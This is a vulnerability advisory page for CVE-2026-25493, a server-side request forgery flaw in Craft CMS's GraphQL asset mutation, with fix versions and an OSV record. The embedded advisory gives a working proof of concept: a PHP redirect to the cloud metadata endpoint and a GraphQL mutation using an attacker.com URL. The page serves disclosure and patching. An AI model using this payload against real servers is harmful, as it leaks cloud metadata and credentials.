CVE-2026-25493: Craftcms/cms Craft CMS Vulnerable To SSRF Vulnerability
MODERATECVE-2026-25493 is a MODERATE craft cms vulnerable to ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Craftcms/cms libraries in the Packagist ecosystem. The issue involves craft cms vulnerable to ssrf in graphql asset mutation via http redirect. Remediation is available by upgrading affected packages to version 5.8.22, 4.16.18.
CVE-2026-25493 at a Glance
How to Fix CVE-2026-25493
To remediate this vulnerability, upgrade all affected Craftcms/cms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade craftcms/cms to 5.8.22
Upgrade craftcms/cms to 4.16.18
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for craftcms/cms
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-25493, inspect your project dependencies for Craftcms/cms:
inspect dependencies for craftcms/cms
Analyze the terminal output to locate any version of Craftcms/cms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.22), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Craftcms/cms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25493 Affected Craftcms/cms Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
craftcms/cms
|
Packagist |
≥ 5.0.0-RC1
< 5.8.22
|
5.8.22
|
|
craftcms/cms
|
Packagist |
≥ 4.0.0-RC1
< 4.16.18
|
4.16.18
|
References
Frequently Asked Questions
What is CVE-2026-25493?
Which Craftcms/cms versions are affected?
What version fixes CVE-2026-25493?
Is craftcms/cms affected?
What CWE is associated with CVE-2026-25493?
How can I check Packagist dependencies for CVE-2026-25493?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8jr8-7hr4-vhfx",
"modified" : "2026-02-09T22:38:33Z",
"published" : "2026-02-09T20:35:30Z",
"aliases" : [ "CVE-2026-25493" ],
"summary" : "Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect",
"details" : "## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n<?php header(\"Location: http://169.254.169.254/latest/meta-data/\"); ?>\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n save_images_Asset(_file: { \n url: \"https://attacker.com/redirect.php\"\n filename: \"metadata.txt\"\n }) {\n id\n }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "craftcms/cms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.0.0-RC1"
}, {
"fixed" : "5.8.22"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.8.21"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "craftcms/cms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0-RC1"
}, {
"fixed" : "4.16.18"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.16.17"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25493"
}, {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/craftcms/cms"
}, {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/releases/tag/4.16.18"
}, {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/releases/tag/5.8.22"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-09T20:35:30Z",
"nvd_published_at" : "2026-02-09T20:15:57Z"
}
}